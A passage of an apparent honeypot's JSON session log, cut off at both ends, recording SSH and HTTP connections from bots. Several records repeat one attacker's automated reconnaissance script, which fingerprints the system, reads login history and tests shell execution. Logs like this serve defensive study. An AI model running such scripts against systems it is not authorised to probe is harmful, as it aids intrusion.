&& ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:50:26.424348+00:00",
  "ended_at": "2026-08-27T09:50:26.587018+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "548c5662-c993-4150-99d2-5eb575941d3f",
  "name": "tangled-mindful-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 48434,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:48:37.111610+00:00",
  "ended_at": "2026-08-27T09:48:37.315111+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4c21861d-7584-458e-a619-a0f78d847fb1",
  "name": "peaty-fearless-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 55427,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:48:33.923543+00:00",
  "ended_at": "2026-08-27T09:49:05.118614+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74ea7f40-aebc-46e4-9d84-3ac30eee7e23",
  "name": "ashen-russet-narwhal",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "51.68.111.207",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:48:27.166390+00:00",
  "ended_at": "2026-08-27T10:04:11.076312+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "efc55195-8a2a-44b1-864b-9b3c83417887",
  "name": "supple-tranquil-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 45376,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:46:50.664961+00:00",
  "ended_at": "2026-08-27T09:46:50.789179+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c88559f4-a6b9-40b6-8686-7d8bdb87f996",
  "name": "tawny-calm-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 42328,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:44:45.478083+00:00",
  "ended_at": "2026-08-27T09:44:45.588004+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5890566c-8d6b-49c0-8b01-be8ad4758030",
  "name": "quiet-feral-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 39230,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:43:03.218119+00:00",
  "ended_at": "2026-08-27T09:43:03.391022+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c05061b1-64bd-4b4a-af18-f9f31799cdba",
  "name": "courtly-pewter-bittern",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:42:18.547257+00:00",
  "ended_at": "2026-08-27T09:58:11.039652+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd0c3c96-c88b-4c02-a135-27dcea015f57",
  "name": "inland-grumpy-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 36150,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:41:19.962988+00:00",
  "ended_at": "2026-08-27T09:41:20.073001+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9ff4fb15-1a39-4e45-ae06-abffd92fa597",
  "name": "northern-keen-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 59379,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:39:58.880997+00:00",
  "ended_at": "2026-08-27T09:39:59.820553+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6dffd4f-f535-4e77-adf1-8d9ece2e5725",
  "name": "breezy-crimson-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 33038,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case 